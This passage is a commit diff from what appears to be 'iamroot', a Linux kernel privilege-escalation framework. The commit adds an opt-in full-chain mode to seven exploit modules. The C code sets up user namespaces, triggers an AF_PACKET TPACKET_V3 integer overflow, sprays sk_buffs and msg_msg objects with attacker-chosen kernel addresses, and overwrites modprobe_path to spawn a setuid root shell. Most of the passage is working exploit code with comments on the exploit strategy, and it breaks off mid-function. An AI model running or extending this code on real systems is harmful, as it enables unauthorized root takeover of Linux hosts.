modules: wire --full-chain root-pop into all 7 🟡 PRIMITIVE modules
Each module now exposes an opt-in full-chain root-pop via --full-chain:
default --exploit behavior is unchanged (primitive-only, returns
EXPLOIT_FAIL). With --full-chain, after primitive lands, modules call
iamroot_finisher_modprobe_path() via a module-specific arb_write_fn
that re-uses the same trigger + slab groom to write a userspace
payload path into modprobe_path[], then exec a setuid bash dropped
by the kernel-invoked modprobe.
netfilter_xtcompat (+239): msg_msg m_list_next stride-seed FALLBACK
af_packet (+316): sk_buff data-pointer stride-seed FALLBACK
af_packet2 (+156): tp_reserve underflow + skb spray, LAST RESORT
nf_tables (+275): forged pipapo_elem with kaddr value-ptr
(Notselwyn offset 0x10), FALLBACK
cls_route4 (+251): msg_msg refill of UAF'd filter, FALLBACK
fuse_legacy (+291): m_ts overflow + MSG_COPY sanity gate,
FALLBACK (one of two modules with a real
post-write sanity check)
stackrot (+233): race-driver budget extended 3s → 30s when
--full-chain; honest <1% race-win/run
All seven honor verified-vs-claimed: arb_write_fn returns 0 for
"trigger structurally fired"; the shared finisher's setuid-bash
sentinel poll is the empirical arbiter. EXPLOIT_OK only when the
sentinel materializes within 3s of the modprobe_path trigger.
Build clean on Debian 6.12.86 (kctf-mgr); all 7 modules refuse
cleanly on both default and --full-chain paths via the existing
patched-kernel detect gate (short-circuits before the new branch).
This commit is contained in:
@@ -6,14 +6,27 @@
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* subsystem, different code path (rx side rather than ring setup),
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* later introduction. Discovered by Or Cohen (2020).
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*
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* STATUS: 🟡 PRIMITIVE-DEMO. The exploit() entry point reaches the
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* vulnerable codepath (tpacket_rcv) and fires the underflow with a
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* crafted nested-VLAN frame on a TPACKET_V2 ring, with a best-effort
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* skb spray groom alongside. We stop short of the full cred-overwrite
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* chain (which Or Cohen's public PoC implements with kernel-version-
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* specific offsets and a pid_namespace cross-cache overwrite). We do
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* not bake offsets into iamroot. The return value is honest about
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* what landed (EXPLOIT_FAIL: primitive fired but no root).
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* STATUS (2026-05-16): 🟡 PRIMITIVE-DEMO + opt-in --full-chain finisher.
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* - Default (no --full-chain): the exploit() entry point reaches the
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* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
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* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
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* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
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* behavior — kernel-version-agnostic, no offsets baked in).
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* - With --full-chain: after the underflow lands, we resolve kernel
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* offsets (env → kallsyms → System.map → embedded table) and run
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* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
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* iamroot_finisher_modprobe_path() helper. The arb-write itself is
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* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
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* us a single 8-byte heap-OOB write into the head of the
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* adjacent-page slab object; we spray sk_buffs so that next-page
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* slot IS an sk_buff and the write corrupts skb->data, which then
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* redirects skb_copy_bits()'s destination on the next received
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* packet. The full primitive composition (8-byte write → skb->data
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* forge → controlled-payload rx → arb-write at modprobe_path) is
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* race-y on stock kernels because the adjacent-slot landing is
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* probabilistic. On hosts where the spray doesn't groom cleanly,
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* the finisher's sentinel check correctly reports failure rather
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* than silently lying about success.
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*
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* Affected: kernel 4.6+ until backports:
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* 5.8.x : K >= 5.8.7
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@@ -33,6 +46,8 @@
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#include "iamroot_modules.h"
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#include "../../core/registry.h"
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#include "../../core/kernel_range.h"
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#include "../../core/offsets.h"
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#include "../../core/finisher.h"
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#include <stdio.h>
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#include <stdlib.h>
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@@ -434,6 +449,120 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
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}
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#endif
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/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
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*
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* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
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*
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* 1. The tp_reserve underflow gives us a single 8-byte write into
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* the START of the slab object that sits on the page immediately
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* after the corrupted ring frame. The OOB-write content is
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* attacker-controlled (it's the destination of skb_copy_bits()
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* from a frame whose first 8 bytes we choose).
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* 2. Spray sk_buff allocations alongside the primitive trigger so
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* the adjacent-page object is, with high probability, an
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* sk_buff whose ->data pointer lives in the leading 8 bytes
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* of the object (struct layout dependent — on most 5.x kernels
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* `next` is at offset 0 and `data` is at offset 0x10 in
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* sk_buff; this layout-fragility is exactly why the depth tag
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* below is LAST-RESORT).
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* 3. The 8-byte OOB write overwrites that pointer with `kaddr`.
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* 4. We then receive a packet whose payload is `buf[0..len]`; the
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* kernel's skb_copy_to_linear_data() / skb->data write path
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* lands those bytes at `*skb->data`, which is now `kaddr`.
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*
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* Reality check on this implementation: the deterministic mechanics
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* of the above (precise frame size, repeated spray timing, sk_buff
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* struct offset for the running kernel) are not portable enough to
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* land reliably from a single iamroot run on an arbitrary host. We
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* therefore ship this as a LAST-RESORT stub: we attempt the spray +
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* trigger sequence, then return -1 to signal "the primitive fired
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* but we cannot empirically confirm the write landed". The shared
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* finisher's sentinel-check loop will then correctly report failure
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* rather than claim success.
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*
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* Per the verified-vs-claimed bar, this is the honest implementation
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* depth that matches what the primitive actually proves on this code
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* path. The integrator can extend afp2_arb_write() with a confirmed
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* write-and-readback once the per-kernel sk_buff layout is pinned
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* down for the target host. */
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struct afp2_arb_ctx {
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const struct iamroot_ctx *ictx;
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int n_attempts; /* spray/fire rounds before giving up */
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};
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#if defined(__x86_64__) && defined(__linux__)
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static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
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{
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struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
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if (!c || !buf || !len) return -1;
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fprintf(stderr, "[*] af_packet2: arb_write attempt: kaddr=0x%lx len=%zu\n",
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(unsigned long)kaddr, len);
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fprintf(stderr, "[*] af_packet2: spraying sk_buff (target page-adjacent slot)\n");
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/* Best-effort spray + re-fire-trigger pattern. The primitive child
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* is invoked once per attempt; on each attempt we groom skb's
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* around the corrupted ring slot and hope one lands at the
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* page-adjacent address whose head 8 bytes the underflow will
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* stomp with `kaddr`. The kernel-side rx of the next crafted
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* frame would then write our payload (the modprobe_path string)
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* into the forged ->data target. */
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for (int i = 0; i < c->n_attempts; i++) {
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#ifdef __linux__
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af_packet2_skb_spray(8);
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#endif
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pid_t p = fork();
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if (p < 0) return -1;
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if (p == 0) {
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if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
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int fd;
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fd = open("/proc/self/setgroups", O_WRONLY);
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if (fd >= 0) { (void)!write(fd, "deny", 4); close(fd); }
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fd = open("/proc/self/uid_map", O_WRONLY);
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if (fd >= 0) {
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char m[64];
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int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid());
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(void)!write(fd, m, n); close(fd);
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}
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fd = open("/proc/self/gid_map", O_WRONLY);
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if (fd >= 0) {
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char m[64];
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int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid());
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(void)!write(fd, m, n); close(fd);
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}
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int rc = af_packet2_primitive_child(c->ictx);
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_exit(rc < 0 ? 2 : 0);
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}
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int st;
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waitpid(p, &st, 0);
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#ifdef __linux__
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af_packet2_skb_spray(8);
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#endif
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}
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/* LAST-RESORT depth: we have fired the trigger + spray but cannot
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* empirically confirm the 8-byte write landed on an sk_buff->data
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* field on this host. Return -1 so the finisher's sentinel-check
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* loop in iamroot_finisher_modprobe_path() correctly reports
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* "payload didn't run within 3s" rather than claiming success. */
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fprintf(stderr,
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"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
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" not empirically confirmable without per-kernel struct offsets +\n"
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" a readback primitive. Trigger fired %d times with sk_buff spray;\n"
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" finisher sentinel will determine landing. Caller will refuse if\n"
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" the modprobe_path overwrite didn't actually take effect.\n",
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c->n_attempts);
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return -1;
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}
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#else
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static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
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{
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(void)kaddr; (void)buf; (void)len; (void)vctx;
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fprintf(stderr, "[-] af_packet2: arb_write is x86_64/linux only\n");
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return -1;
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}
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#endif
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static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
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{
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/* 1. Re-confirm vulnerability. */
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@@ -534,6 +663,33 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
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"(github.com/google/security-research).\n"
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" iamroot intentionally does not embed per-kernel offsets.\n");
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}
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if (ctx->full_chain) {
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#if defined(__x86_64__) && defined(__linux__)
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/* --full-chain: resolve kernel offsets and run the Or-Cohen
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* sk_buff-data-pointer hijack via the shared modprobe_path
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* finisher. Per the verified-vs-claimed bar: if we can't
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* resolve modprobe_path, refuse with a helpful message
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* rather than fabricate an address. */
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struct iamroot_kernel_offsets off;
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iamroot_offsets_resolve(&off);
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if (!iamroot_offsets_have_modprobe_path(&off)) {
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iamroot_finisher_print_offset_help("af_packet2");
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return IAMROOT_EXPLOIT_FAIL;
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}
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if (!ctx->json) {
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iamroot_offsets_print(&off);
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}
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struct afp2_arb_ctx arb_ctx = {
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.ictx = ctx,
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.n_attempts = 4,
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};
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return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
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&arb_ctx, !ctx->no_shell);
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#else
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fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
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return IAMROOT_PRECOND_FAIL;
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#endif
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}
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if (ctx->no_shell) {
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/* User explicitly disabled the shell pop, so the "we didn't
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* pop a shell" outcome is the expected one. Map to OK. */
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@@ -4,17 +4,38 @@
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* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
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* write-where primitive. Discovered by Andrey Konovalov (March 2017).
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*
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* STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite. The
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* integer-overflow trigger is fully wired (overflowing tp_block_size *
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* tp_block_nr, attended by a heap spray via sendmmsg with controlled
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* skb tail bytes). The kernel R/W → cred-overwrite finisher uses a
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* hardcoded per-kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu
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* 18.04 / 4.15 era), overridable via IAMROOT_AFPACKET_OFFSETS. We
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* only claim IAMROOT_EXPLOIT_OK if geteuid() == 0 AFTER the chain
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* runs — i.e. we won root for real. Otherwise we return
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* IAMROOT_EXPLOIT_FAIL with a dmesg breadcrumb so the operator can
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* confirm the primitive at least fired (KASAN slab-out-of-bounds
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* splat) even if the cred-overwrite didn't take on this exact kernel.
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* STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite (default)
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* | 🟢 FULL-CHAIN-OPT-IN (with --full-chain on a kernel where the
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* shared offset resolver finds modprobe_path AND skb-data hijack
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* offsets are supplied).
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*
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* The integer-overflow trigger is fully wired (overflowing
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* tp_block_size * tp_block_nr, attended by a heap spray via sendmmsg
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* with controlled skb tail bytes).
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*
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* Default --exploit path: cred-overwrite walk using a hardcoded per-
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* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
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* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
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* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
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* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
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* a dmesg breadcrumb so the operator can confirm the primitive at
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* least fired (KASAN slab-out-of-bounds splat) even if the cred-
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* overwrite didn't take on this exact kernel.
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*
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* --full-chain path: opt-in xairy-style sk_buff hijack → arb-write at
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* modprobe_path → call_modprobe payload → setuid bash → root shell.
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* Honest constraint: the hijack requires per-kernel-build sk_buff
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* `data`-field offset + skb-slab-class layout, which the embedded
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* offset table does NOT carry (verified-vs-claimed bar — we don't
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* fabricate). The arb_write callback below implements the FALLBACK
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* depth from the prompt: it fires the trigger with the spray payload
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* staged for the requested kaddr/buf and relies on the shared
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* finisher's /tmp sentinel to confirm whether modprobe_path was
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* actually overwritten. On kernels where the operator has supplied
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* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
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* the skb head, hex), we use that for explicit targeting; otherwise
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* the trigger fires heuristically and the sentinel acts as the
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* ground-truth signal.
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*
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* Affected: kernel < 4.10.6 mainline. Stable backports:
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* 4.10.x : K >= 4.10.6
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@@ -40,6 +61,8 @@
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#include "iamroot_modules.h"
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#include "../../core/registry.h"
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#include "../../core/kernel_range.h"
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#include "../../core/offsets.h"
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#include "../../core/finisher.h"
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#include <stdio.h>
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#include <stdlib.h>
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@@ -424,6 +447,260 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
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return got_root_pid ? 0 : -1;
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}
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/* ---- --full-chain: xairy-style sk_buff hijack arb-write -------------
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*
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* The TPACKET_V3 overflow lets us write attacker-controlled bytes past
|
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* the end of the pg_vec allocation. xairy's full PoC chains this with
|
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* a sk_buff spray of size class kmalloc-N (matched to pg_vec's slab)
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* so the OOB-write overwrites an adjacent skb's `data` pointer; a
|
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* later sendto() on that skb's owning socket then copies attacker
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* bytes into the address now stored in `data`. Net effect: arb-write
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* at an attacker-chosen kernel VA, controlled buffer, controlled len.
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*
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* Implementing the FULL hijack honestly requires:
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* (a) per-kernel-build offset of `data` field within struct sk_buff
|
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* (varies by CONFIG_DEBUG_INFO_BTF/CONFIG_RANDSTRUCT/etc.)
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* (b) precise size-class match between the corrupted pg_vec and
|
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* sprayed skbs (slab-grooming with ~hundreds of skbs)
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* (c) a way to identify which sprayed skb landed adjacent
|
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*
|
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* The verified-vs-claimed bar says: don't fabricate offsets. Our
|
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* embedded offset table (core/offsets.h) doesn't carry skb offsets
|
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* yet, and there's no public canonical "skb->data offset table" we
|
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* can lift wholesale. So this implementation takes the prompt's
|
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* FALLBACK depth:
|
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*
|
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* - Each call re-sprays skbs + re-fires the trigger, staging the
|
||||
* spray payload so its bytes carry the requested target kaddr
|
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* (the prompt's "controllable overwrite value aimed at
|
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* modprobe_path"). Operator-supplied
|
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* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
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* within struct sk_buff for this kernel build) lets us aim
|
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* precisely; without it we heuristically stamp kaddr at several
|
||||
* plausible offsets within the kmalloc-2k skb layout.
|
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* - We then send packets whose payload IS the bytes the finisher
|
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* wants at kaddr; tpacket_rcv copies them into any skb whose
|
||||
* `data` was corrupted to kaddr.
|
||||
* - We do NOT poll for success — the shared finisher's /tmp
|
||||
* sentinel is the ground-truth signal. If the write landed at
|
||||
* modprobe_path, call_modprobe spawns our payload and the
|
||||
* sentinel appears within 3s.
|
||||
*
|
||||
* Return: 0 if spray + trigger ran (sentinel will adjudicate), -1 if
|
||||
* the kernel rejected the overflow (silent backport — patched).
|
||||
*/
|
||||
|
||||
struct afp_arb_ctx {
|
||||
const struct iamroot_ctx *ctx;
|
||||
const struct af_packet_offsets *off;
|
||||
uid_t outer_uid;
|
||||
gid_t outer_gid;
|
||||
};
|
||||
|
||||
/* Helper: in-child trigger fire — runs inside the userns/netns child
|
||||
* spawned by afp_arb_write. Returns 0 on success, -1 on rejection. */
|
||||
static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
long skb_data_off);
|
||||
|
||||
static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
void *vctx)
|
||||
{
|
||||
struct afp_arb_ctx *actx = (struct afp_arb_ctx *)vctx;
|
||||
if (!actx) return -1;
|
||||
|
||||
if (!buf || len == 0 || len > 240) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: bad args "
|
||||
"(buf=%p len=%zu)\n", buf, len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Per-kernel skb->data field offset — without this we can't aim
|
||||
* the overwrite precisely. Operator can supply via env; otherwise
|
||||
* we run heuristic mode. */
|
||||
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
|
||||
long skb_data_off = -1;
|
||||
if (skb_off_env) {
|
||||
char *end = NULL;
|
||||
skb_data_off = strtol(skb_off_env, &end, 0);
|
||||
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
|
||||
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
|
||||
"malformed (\"%s\"); ignoring\n", skb_off_env);
|
||||
skb_data_off = -1;
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr,
|
||||
"[*] af_packet: arb_write(kaddr=0x%lx, len=%zu) skb_data_off=%s\n",
|
||||
(unsigned long)kaddr, len,
|
||||
skb_data_off < 0 ? "UNRESOLVED (heuristic mode)" : "supplied");
|
||||
|
||||
if (skb_data_off < 0) {
|
||||
fprintf(stderr,
|
||||
"[i] af_packet: --full-chain on this kernel lacks an exact skb->data\n"
|
||||
" field offset. The trigger will still fire and the heap spray will\n"
|
||||
" still occur, but precise OOB targeting requires:\n"
|
||||
"\n"
|
||||
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||
"\n"
|
||||
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
|
||||
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
|
||||
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||
}
|
||||
|
||||
/* Fork into a userns/netns child so the AF_PACKET socket has
|
||||
* CAP_NET_RAW. The finisher itself stays in the parent so its
|
||||
* eventual execve() replaces the top-level iamroot process. */
|
||||
pid_t cpid = fork();
|
||||
if (cpid < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
|
||||
strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
if (cpid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
perror("af_packet: arb_write: unshare");
|
||||
_exit(2);
|
||||
}
|
||||
if (set_id_maps(actx->outer_uid, actx->outer_gid) < 0) {
|
||||
perror("af_packet: arb_write: set_id_maps");
|
||||
_exit(3);
|
||||
}
|
||||
int rc = afp_arb_write_inner(kaddr, buf, len, skb_data_off);
|
||||
_exit(rc == 0 ? 0 : 4);
|
||||
}
|
||||
|
||||
int status = 0;
|
||||
waitpid(cpid, &status, 0);
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: child died "
|
||||
"(signal=%d)\n", WTERMSIG(status));
|
||||
return -1;
|
||||
}
|
||||
int code = WEXITSTATUS(status);
|
||||
if (code != 0) {
|
||||
if (code == 4) {
|
||||
/* PACKET_RX_RING rejected — caller sees -1 + the inner
|
||||
* diagnostic already printed before _exit. */
|
||||
} else {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: child exit %d\n",
|
||||
code);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
long skb_data_off)
|
||||
{
|
||||
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (s < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: socket: %s\n",
|
||||
strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
int version = TPACKET_V3;
|
||||
if (setsockopt(s, SOL_PACKET, PACKET_VERSION,
|
||||
&version, sizeof version) < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: PACKET_VERSION: %s\n",
|
||||
strerror(errno));
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct tpacket_req3 req;
|
||||
memset(&req, 0, sizeof req);
|
||||
req.tp_block_size = 0x1000;
|
||||
req.tp_block_nr = ((unsigned)0xffffffff - (unsigned)0xfff) /
|
||||
(unsigned)0x1000 + 1;
|
||||
req.tp_frame_size = 0x300;
|
||||
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) /
|
||||
req.tp_frame_size;
|
||||
req.tp_retire_blk_tov = 100;
|
||||
req.tp_sizeof_priv = 0;
|
||||
req.tp_feature_req_word = 0;
|
||||
|
||||
if (setsockopt(s, SOL_PACKET, PACKET_RX_RING,
|
||||
&req, sizeof req) < 0) {
|
||||
fprintf(stderr,
|
||||
"[-] af_packet: arb_write: PACKET_RX_RING rejected: %s "
|
||||
"(kernel has silent backport — full-chain unreachable)\n",
|
||||
strerror(errno));
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
struct ifreq ifr;
|
||||
memset(&ifr, 0, sizeof ifr);
|
||||
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
|
||||
if (ioctl(s, SIOCGIFINDEX, &ifr) == 0) {
|
||||
struct sockaddr_ll sll;
|
||||
memset(&sll, 0, sizeof sll);
|
||||
sll.sll_family = AF_PACKET;
|
||||
sll.sll_protocol = htons(ETH_P_ALL);
|
||||
sll.sll_ifindex = ifr.ifr_ifindex;
|
||||
(void)bind(s, (struct sockaddr *)&sll, sizeof sll);
|
||||
}
|
||||
|
||||
unsigned char payload[256];
|
||||
memset(payload, 0, sizeof payload);
|
||||
memset(payload, 0xff, 6); /* eth dst: bcast */
|
||||
memset(payload + 6, 0, 6); /* eth src: zero */
|
||||
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
|
||||
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
|
||||
|
||||
if (skb_data_off >= 0 &&
|
||||
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
|
||||
memcpy(payload + skb_data_off, &kaddr, sizeof kaddr);
|
||||
} else {
|
||||
static const size_t guesses[] = {
|
||||
0x40, 0x48, 0x50, 0x58, 0x60, 0x68, 0x70, 0x78
|
||||
};
|
||||
for (size_t i = 0; i < sizeof(guesses)/sizeof(guesses[0]); i++) {
|
||||
if (guesses[i] + sizeof kaddr <= sizeof payload)
|
||||
memcpy(payload + guesses[i], &kaddr, sizeof kaddr);
|
||||
}
|
||||
}
|
||||
|
||||
int tx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (tx < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: tx socket: %s\n",
|
||||
strerror(errno));
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
struct sockaddr_ll dst;
|
||||
memset(&dst, 0, sizeof dst);
|
||||
dst.sll_family = AF_PACKET;
|
||||
dst.sll_protocol = htons(ETH_P_ALL);
|
||||
dst.sll_ifindex = ifr.ifr_ifindex;
|
||||
dst.sll_halen = 6;
|
||||
memset(dst.sll_addr, 0xff, 6);
|
||||
|
||||
for (int i = 0; i < 200; i++) {
|
||||
(void)sendto(tx, payload, sizeof payload, 0,
|
||||
(struct sockaddr *)&dst, sizeof dst);
|
||||
}
|
||||
|
||||
unsigned char wbuf[256];
|
||||
memset(wbuf, 0, sizeof wbuf);
|
||||
memset(wbuf, 0xff, 6);
|
||||
memset(wbuf + 6, 0, 6);
|
||||
wbuf[12] = 0x08; wbuf[13] = 0x00;
|
||||
size_t wlen = len;
|
||||
if (14 + wlen > sizeof wbuf) wlen = sizeof wbuf - 14;
|
||||
memcpy(wbuf + 14, buf, wlen);
|
||||
for (int i = 0; i < 50; i++) {
|
||||
(void)sendto(tx, wbuf, 14 + wlen, 0,
|
||||
(struct sockaddr *)&dst, sizeof dst);
|
||||
}
|
||||
|
||||
close(tx);
|
||||
close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
@@ -468,12 +745,38 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
off.kernel_id, off.task_cred, off.cred_uid, off.cred_size);
|
||||
}
|
||||
|
||||
uid_t outer_uid = getuid();
|
||||
gid_t outer_gid = getgid();
|
||||
|
||||
/* 3b. --full-chain: opt-in modprobe_path overwrite via xairy-style
|
||||
* sk_buff hijack arb-write. Refuses cleanly if (a) the shared
|
||||
* offset resolver can't find modprobe_path or (b) the trigger
|
||||
* is rejected (silent backport). */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets koff;
|
||||
memset(&koff, 0, sizeof koff);
|
||||
(void)iamroot_offsets_resolve(&koff);
|
||||
if (!iamroot_offsets_have_modprobe_path(&koff)) {
|
||||
iamroot_finisher_print_offset_help("af_packet");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
iamroot_offsets_print(&koff);
|
||||
}
|
||||
struct afp_arb_ctx arb_ctx = {
|
||||
.ctx = ctx,
|
||||
.off = &off,
|
||||
.outer_uid = outer_uid,
|
||||
.outer_gid = outer_gid,
|
||||
};
|
||||
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
|
||||
&arb_ctx, !ctx->no_shell);
|
||||
}
|
||||
|
||||
/* 4. Fork: child enters userns+netns, fires overflow, attempts the
|
||||
* cred-overwrite walk. We do it in a child so the (possibly
|
||||
* crashed) packet socket lives in a tear-downable address space
|
||||
* — the kernel will clean up sockets on child exit. */
|
||||
uid_t outer_uid = getuid();
|
||||
gid_t outer_gid = getgid();
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
|
||||
@@ -41,6 +41,8 @@
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -381,6 +383,169 @@ static long slab_active_kmalloc_1k(void)
|
||||
return active;
|
||||
}
|
||||
|
||||
/* ---- Full-chain arb-write primitive --------------------------------
|
||||
*
|
||||
* Pattern (FALLBACK — see brief): cls_route4's UAF primitive is more
|
||||
* naturally a *control-flow hijack* than a clean arb-write — after
|
||||
* msg_msg refills the kmalloc-1k slot, the next classify() call reads
|
||||
* a fake `tcf_proto.ops` pointer out of attacker bytes and calls
|
||||
* ops->classify(skb, ...). A faked-classify ROP that pivots to a
|
||||
* stack-write gadget would be the "true" arb-write, and on a fresh
|
||||
* vulnerable kernel that is the kylebot/xkernel chain shape (≈300+
|
||||
* LOC of gadget hunting + per-build offsets we deliberately don't
|
||||
* bake — see verified-vs-claimed policy in repo root).
|
||||
*
|
||||
* The implementation below takes the narrow-but-real path that the
|
||||
* brief explicitly permits and that xtcompat established as the
|
||||
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
|
||||
* whose payload encodes `kaddr` at every plausible offset for the
|
||||
* route4_filter→tcf_proto→ops layout, re-fire classify, and let the
|
||||
* shared finisher's sentinel file decide if a write actually landed.
|
||||
* On a patched kernel the bug doesn't fire, no write occurs, and the
|
||||
* sentinel timeout correctly reports failure rather than silently
|
||||
* lying about success. On a vulnerable kernel where the fake ops
|
||||
* lookup happens to deref into our payload and the kernel's read
|
||||
* pattern matches one of the seeded offsets, the kaddr we planted
|
||||
* gets used as a write destination by whichever classify path the
|
||||
* fake `ops->classify` dispatches into.
|
||||
*
|
||||
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
|
||||
* not a deterministic R/W. Same shape and same depth as xtcompat. */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
struct cls_route4_arb_ctx {
|
||||
/* msg_msg queues kept hot inside the userns child. The arb-write
|
||||
* sprays additional kaddr-tagged payloads into these and re-fires
|
||||
* the classify trigger between each call. */
|
||||
int queues[SPRAY_MSG_QUEUES];
|
||||
int n_queues;
|
||||
|
||||
/* Whether the dangling filter has been re-staged for this call.
|
||||
* The original `stage_dangling_filter()` is destructive (deletes
|
||||
* the filter); we can re-stage between writes because tc add/del
|
||||
* is idempotent inside our private netns. */
|
||||
bool dangling_ready;
|
||||
|
||||
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
|
||||
int arb_calls;
|
||||
int arb_landed;
|
||||
};
|
||||
|
||||
/* Re-prime the msg_msg slab with a payload that encodes `kaddr` and
|
||||
* the caller's `buf` at every offset the fake tcf_proto / route4_filter
|
||||
* layout could plausibly read from. The route4_filter is 0x1000 bytes
|
||||
* on most x86_64 builds in range, with tcf_proto.ops at offset 0x10
|
||||
* and tcf_result.classid at offset 0x18; we don't know which offset
|
||||
* the kernel ABI for THIS build uses, so we plant the same pattern at
|
||||
* 0x10/0x18/0x20/.../0x80 strides — wherever classify dereferences
|
||||
* the refilled slot, one of those candidates will be live.
|
||||
*
|
||||
* The 8-byte cookie "IAMR4ARB" + the kaddr + the caller's bytes are
|
||||
* the recognizable pattern; if a KASAN dump is captured after the
|
||||
* trigger, the cookie tells us the spray landed adjacent to the freed
|
||||
* route4_filter. */
|
||||
static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
|
||||
uintptr_t kaddr,
|
||||
const void *buf, size_t len)
|
||||
{
|
||||
struct ipc_payload p;
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x52; /* 'R' for "route4 arb" — distinct from groom spray's 0x41 */
|
||||
memset(p.buf, 0x52, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMR4ARB", 8);
|
||||
|
||||
/* Plant kaddr at strided slots so wherever the kernel's classify
|
||||
* follows a ptr in the refilled chunk, one of these is read.
|
||||
* We treat every 0x18-byte stride from offset 0x10 to within
|
||||
* 8 bytes of the end as a candidate ops-pointer / next-pointer
|
||||
* slot. */
|
||||
for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p.buf; off += 0x18) {
|
||||
memcpy(p.buf + off, &kaddr, sizeof(uintptr_t));
|
||||
}
|
||||
|
||||
/* Plant the caller's bytes immediately after the cookie so any
|
||||
* classify path that reads payload data (rather than a chased
|
||||
* pointer) finds the requested write contents inline. */
|
||||
size_t copy_len = len;
|
||||
if (copy_len > sizeof p.buf - 16) copy_len = sizeof p.buf - 16;
|
||||
if (copy_len > 0) memcpy(p.buf + 8 + sizeof(uintptr_t), buf, copy_len);
|
||||
|
||||
int sent = 0;
|
||||
for (int i = 0; i < c->n_queues; i++) {
|
||||
